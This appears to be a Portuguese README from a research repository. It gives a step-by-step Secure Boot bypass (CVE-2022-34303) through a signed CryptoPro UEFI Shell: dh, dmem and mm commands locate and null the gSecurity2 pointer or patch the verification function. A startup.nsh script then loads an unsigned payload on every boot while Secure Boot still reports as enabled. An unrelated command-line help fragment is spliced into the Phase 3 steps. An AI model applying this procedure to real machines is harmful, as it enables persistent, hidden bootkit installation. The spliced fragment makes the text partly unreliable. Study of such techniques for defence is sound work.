
Demonstra o bypass do Secure Boot da CVE-2022-34303 por meio do UEFI Shell assinado pela CryptoPro, usando o comando mm para anular o gSecurity2 e carregar aplicações UEFI não assinadas.
CryptoPro Secure Disk UEFI Shell - Traga Sua Própria Aplicação UEFI Vulnerável (BYOVUA) - Bypass do Secure Boot via UEFI Shell assinado e corrupção do gSecurity2.
Este repositório demonstra a técnica BYOVUA (Bring Your Own Vulnerable UEFI Application) explorando a CVE-2022-34303, uma vulnerabilidade de bypass do Secure Boot no ambiente de boot UEFI do CryptoPro Secure Disk.
Neste caso, o componente confiável para o Secure Boot é um shim personalizado assinado pela UEFI Third Party Certificate Authority da Microsoft. Uma vez executado, este shim carrega um UEFI Shell como segundo estágio, o que expõe o comando mm (memory modify) e, portanto, fornece capacidades de leitura e escrita arbitrária de memória durante a fase de boot pré-SO.
Esta primitiva pode então ser usada para localizar e anular o ponteiro global gSecurity2 no núcleo DXE. Como resultado, a verificação subsequente de imagens UEFI é desativada, permitindo que aplicações UEFI não assinadas, bootkits, sejam carregadas apesar do Secure Boot estar habilitado.
BYOVUA é o equivalente UEFI da técnica BYOVD (Bring Your Own Vulnerable Driver) usada no nível de kernel. Em vez de trazer um driver de kernel assinado com uma vulnerabilidade, o atacante traz uma aplicação UEFI assinada - neste caso, um UEFI Shell completo - que contém funcionalidades capazes de comprometer o Secure Boot.
Como a aplicação - neste caso, o shim personalizado que carrega o UEFI Shell como segundo estágio - é assinada com um certificado confiável da Microsoft, ela é aceita pelo Secure Boot sem questionamentos, tornando-se confiável em qualquer sistema que inclua este certificado em seu banco de dados do Secure Boot (db) - o que é praticamente todo PC com capacidade UEFI vendido na última década. Uma vez em execução, seus comandos integrados fornecem ao atacante acesso direto ao hardware e à memória que opera antes do sistema operacional carregar, em um ambiente onde controles de segurança modernos (ASLR, DEP, proteções de kernel) simplesmente não existem.
Shell_Full.efi é um UEFI Shell distribuído como parte do CryptoPro Secure Disk, um produto de autenticação pré-boot e criptografia de disco.
| Propriedade | Valor |
|---|
| Arquivo | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| Fabricante | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| Assinatura | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Descoberta | Eclypsium (Mickey Shkatov, Jesse Michael) - Agosto de 2022 |
| Apresentação | DEF CON 30 - "One Bootloader to Load Them All" |
| Revogação | Adicionado ao DBX via Microsoft KB5012170 (Agosto de 2022) |
A vulnerabilidade não é um bug - é uma falha de design. UEFI Shells são ferramentas de diagnóstico legítimas que nunca foram projetadas para serem executadas em ambientes com Secure Boot. No entanto, ao assiná-las com um certificado confiável da Microsoft e distribuí-las como parte de produtos comerciais, os fabricantes inadvertidamente criaram um bypass assinado para o Secure Boot.
A questão central: um binário assinado que é confiável para o Secure Boot fornece capacidades irrestritas de leitura/escrita de memória através de seus comandos integrados. Esta combinação quebra todo o modelo de confiança do Secure Boot.
O comando mm (memory modify) é um comando integrado padrão do UEFI Shell que fornece acesso direto de leitura e escrita à memória do sistema. Ele está documentado na UEFI Shell Specification (Seção 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parâmetro | Descrição |
|-----------|-------------|
| `Address` | Endereço de memória de destino |
| `Value` | Valor a escrever (omitir para somente leitura) |
| `-w` | Largura: 1, 2, 4 ou 8 bytes |
| `-MEM` | Acesso à memória do sistema |
| `-MMIO` | I/O mapeado em memória |
| `-IO` | Acesso à porta de I/O |
| `-n` | Não interativo (sem prompt para o próximo endereço) |
---
<div id='gsecurity2'/>
### ***gSecurity2 e o Security Architectural Protocol***
A verificação de imagem do Secure Boot em UEFI é imposta através dos [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), definidos na Especificação UEFI Platform Initialization (PI).
O núcleo DXE (DxeMain) mantém um ponteiro global chamado [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), que aponta para a estrutura `EFI_SECURITY2_ARCH_PROTOCOL`. Este protocolo contém um único ponteiro de função - `FileAuthenticationState` - que é chamado por `LoadImage()` sempre que uma imagem UEFI é carregada:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Quando LoadImage() é chamado, o núcleo DXE verifica:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Ao definir `gSecurity2 = NULL`, a verificação `if` falha e `FileAuthenticationState` nunca é chamada. A verificação de imagem é completamente ignorada - **O Secure Boot permanece "ativado", mas deixa de ser aplicado**. Aplicações UEFI não assinadas podem então ser carregadas livremente.
Para uma compreensão técnica aprofundada desta técnica, incluindo uma aplicação UEFI criada especificamente para localizar e aplicar patch a gSecurity2 automaticamente, consulte o projeto complementar: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Paralelo com Kernel BYOVD***
O paralelo estrutural entre UEFI BYOVUA e kernel BYOVD é exato:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Ambos os ataques exploram a mesma falha fundamental: um componente assinado que é confiado por um mecanismo de segurança fornece a primitiva necessária para desativar esse mesmo mecanismo.
O Shell_Full.efi assinado é colocado na EFI System Partition (ESP) e configurado como uma opção de inicialização. Como está assinado com uma cadeia de certificados confiável pelo Secure Boot, o firmware o valida e o carrega sem problemas.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***Fase 2 - Enumerar Handles do Protocolo Security2***
A partir do UEFI Shell, o objetivo é encontrar o handle que expõe o `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) e obter o endereço de memória da sua interface de protocolo.
> **Nota:** O comando `dh -p <GUID>` não resolve GUIDs brutos na maioria das builds do EDK2 Shell - ele apenas reconhece nomes de protocolos registrados. A abordagem abaixo funciona em qualquer versão do EDK2 Shell.
**Passo 1 - Encontrar o handle do SecurityStubDxe**
Liste todos os handles e procure por `SecurityStubDxe`, que é o driver DXE que instala ambos os Protocolos Arquiteturais de Segurança:```
Shell> dh
Na saída, identifique o handle carregado como SecurityStubDxe:```
10: Image(SecurityStubDxe)
**Passo 2 - Inspecionar handles adjacentes**
`SecurityStubDxe` instala os protocolos de Security em um handle separado, tipicamente o imediatamente após ele. Esses handles aparecem vazios na listagem curta porque o Shell não consegue mapear seus GUIDs para nomes amigáveis. Inspecione-os com o modo verboso:```
Shell> dh -v 11
Saída esperada:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Se o handle `0x11` não contiver esses GUIDs, tente `0x12` - o número exato do handle varia entre builds de firmware.
**Passo 3 - Registrar o endereço da interface**
Os dois protocolos e seus endereços de interface são:
| GUID | Protocolo | Endereço da Interface |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
O **endereço da interface Security2** (`0x3EE8C3A0` neste exemplo) é o valor armazenado pelo ponteiro global `gSecurity2` dentro do DxeMain. Esse valor é necessário para a Fase 3.
---
<div id='Phase3'/>
### ***Fase 3 - Localizar gSecurity2 na Memória***
A variável `gSecurity2` é um ponteiro global dentro do núcleo DXE (`DxeMain`). Seu valor é igual ao endereço da interface do protocolo encontrado na Fase 2. O objetivo é encontrar o endereço de memória onde esse ponteiro está armazenado - não o valor do ponteiro, mas a própria variável.
**Passo 1 - Obter o layout da imagem do núcleo DXE**```
Shell> dh -v 1
-p, --port - Porta para escuta (padrão: 8080)-t, --threads - Número de threads (padrão: 10)-o, --output - Arquivo de saída para salvar resultados-v, --verbose - Modo verboso-q, --quiet - Suprimir banner e saída não essencial-h, --help - Mostrar ajuda e sair```
Handle 01 (3F4ECB18)
Image (3FEAFB08) File:DxeCore
ImageBase.....: 3FE94000 - 3FEBB000
ImageSize.....: 27000Registre `ImageBase` (`0x3FE94000`).
**Passo 2 - Analisar os cabeçalhos PE para localizar a seção `.data`**
A seção `.data` contém as variáveis globais inicializadas, incluindo `gSecurity2`. Em vez de escanear toda a imagem às cegas, analise os cabeçalhos PE para localizar os limites exatos da seção `.data`.
Leia o cabeçalho MZ para obter o deslocamento do cabeçalho PE (DWORD no deslocamento `0x3C`):```
Shell> dmem <ImageBase> 100
No output, olhe no offset 0x3C a partir de ImageBase. Por exemplo, se ImageBase for 0x3FE94000:```
3FE9403C: C0 00 00 00
Isso significa que a assinatura PE está no offset `0xC0` a partir de `ImageBase`.
**Passo 3 - Ler a tabela de seções**
O offset da tabela de seções é calculado como:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Leia o cabeçalho COFF para obter SizeOfOptionalHeader (WORD em PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Para uma imagem UEFI PE32+ (x64), `SizeOfOptionalHeader` é tipicamente `0xF0`. No nosso exemplo:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Despeje a tabela de seções (5 seções × 40 bytes = 200 bytes):``` Shell> dmem 3FE941C8 140
Cada entrada de seção tem 40 bytes:
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Procure a entrada da seção `.data`. Exemplo de saída:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calcule os limites absolutos de .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Passo 4 - Procurar em `.data` o ponteiro da interface**
Procure o endereço da interface Security2 em ordem de bytes little-endian dentro do intervalo `.data`. Para um endereço de interface de `0x3EE8C3A0`, procure por:```
A0 C3 E8 3E 00 00 00 00
Examine em blocos de 0x200 bytes começando em data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Continue percorrendo o intervalo `.data` até encontrar a sequência de bytes. Os ponteiros `gSecurity` (Security1) e `gSecurity2` (Security2) são armazenados consecutivamente, então procure ambos os valores adjacentes um ao outro:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Dica: A seção
.datatambém contém as estruturas da EFI System Table (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Os ponteiros de segurança normalmente estão localizados após essas estruturas. Se você identificar essas assinaturas durante a varredura, continue - você está chegando perto.
Passo 5 - Confirme o endereço
Verifique lendo o local exato:``` Shell> dmem 3FEB0C08 10
Saída esperada:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
O endereço 0x3FEB0C08 é onde gSecurity2 está armazenado - este é o alvo para a Fase 4.
Uma vez conhecido o endereço da variável gSecurity2, um único comando mm desativa a verificação do Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Nota:** O comando `mm` pode não aceitar o prefixo `0x` no argumento de endereço. Use o endereço hexadecimal bruto diretamente.
Exemplo:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Isso grava 8 bytes de zeros no ponteiro gSecurity2. O núcleo DXE agora irá ignorar todas as verificações de verificação de imagem em LoadImage().
Para verificar o patch:``` Shell> dmem <gSecurity2_address> 10
Os primeiros 8 bytes devem ser `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Observe que gSecurity (Security1, segundo qword) permanece intacto - apenas Security2 é anulado, o que é suficiente para contornar a verificação do LoadImage().
Com gSecurity2 anulado, qualquer aplicação UEFI pode ser carregada independentemente do seu estado de assinatura:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
Ou usando `load` para drivers:```
Shell> load fs1:\MyUnsignedDriver.efi
O sistema operacional ainda não foi iniciado. Qualquer aplicação UEFI carregada neste ponto é executada com acesso total ao hardware, antes que quaisquer controles de segurança em nível de SO sejam inicializados.
O UEFI Shell executa automaticamente startup.nsh do diretório atual ou da raiz da ESP a cada inicialização. Ao codificar o patch mm neste script, o bypass do Secure Boot é executado automaticamente a cada boot:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Exemplo:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
O sistema continua a reportar o Secure Boot como "ativado" - apenas a aplicação em tempo de execução está desativada. Isto torna o ataque invisível a consultas de estado do Secure Boot ao nível do SO.
Importante: O endereço
gSecurity2(0x3FEB0C08neste exemplo) é específico da compilação do firmware. Se o firmware for atualizado ou recompilado, o endereço deve ser recalculado repetindo as Fases 2 e 3.
Encontrar o endereço gSecurity2 é específico do firmware e deve ser repetido sempre que o firmware for atualizado ou recompilado. O processo de alto nível é:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Duas abordagens são fornecidas:
**Abordagem A - Patch FileAuthenticationState:** Sobrescreve os primeiros 4 bytes da função de verificação com `xor rax, rax; ret` (`48 31 C0 C3`), fazendo com que retorne EFI_SUCCESS sem realizar qualquer verificação. Esta abordagem utiliza os comandos `dh`, `dmem` e `mm` para resolver o ponteiro da função através da interface do protocolo Security2 e não requer a busca na memória do DxeMain.
**Abordagem B - Anular o ponteiro gSecurity2:** Localiza a variável global gSecurity2 dentro da seção `.data` do DxeMain e escreve NULL nela. Esta é a técnica descrita pela Eclypsium na divulgação do BombShell e implementada programaticamente no repositório [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Esta abordagem requer a análise dos cabeçalhos PE do DxeMain para encontrar os limites da seção `.data`, e então escanear manualmente a memória com `dmem` para localizar o endereço do ponteiro.
Ambos os scripts foram projetados para serem seguidos passo a passo, com cada comando explicado. Execute-os interativamente primeiro, depois, uma vez que os endereços corretos sejam conhecidos para o firmware alvo, construa um `startup.nsh` para execução automatizada a cada boot.
---
---
---
<div id='LabSetup'/>
## ***Configuração do Laboratório***
### DBX (Banco de Dados de Assinaturas Proibidas)
O shell assinado foi adicionado à lista de revogação DBX da Microsoft através do KB5012170 (agosto de 2022). Em sistemas atualizados, o shell será rejeitado pelo Secure Boot.
Para o ambiente de laboratório, você precisa de um sistema onde:
- O DBX não foi atualizado com a entrada de revogação para este shell específico
- Ou o DBX está vazio (VM nova com chaves Secure Boot padrão)
- Ou você usa um ambiente QEMU/OVMF com inscrição personalizada de chaves Secure Boot
O [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) fornece uma configuração automatizada para isso.
### Alternativa: Qualquer shell UEFI assinado com o comando mm
A técnica não é específica para `Shell_Full.efi`. Qualquer UEFI Shell que exponha o comando `mm` e seja assinado com um certificado confiável (Microsoft CA ou específico do OEM) pode ser usado. Conforme documentado pela pesquisa [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) da Eclypsium (outubro de 2025), shells UEFI assinados com capacidades perigosas foram encontrados em produtos de vários fornecedores, incluindo laptops Framework (afetando aproximadamente 200.000 dispositivos).
---
---
---
<div id='References'/>
## ***Referências***
### Diretamente Relacionado
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Coleção curada de aplicações UEFI assinadas vulneráveis conhecidas
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Análise técnica aprofundada da técnica de corrupção do gSecurity2, incluindo uma aplicação UEFI criada especificamente que localiza e corrige automaticamente o ponteiro
### Pesquisa da Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Pesquisa sobre o uso de shells UEFI assinados para manipulação de memória com script .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Pesquisa original da Eclypsium divulgando CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Apresentação de Mickey Shkatov e Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Pesquisa de outubro de 2025 demonstrando o ataque gSecurity2 via comando mm em laptops Framework (200 mil dispositivos afetados)
### Especificações UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentação para os comandos mm e dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Referência de código-fonte para o ponteiro global gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Definição oficial do Security2 Architectural Protocol
### Avisos
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)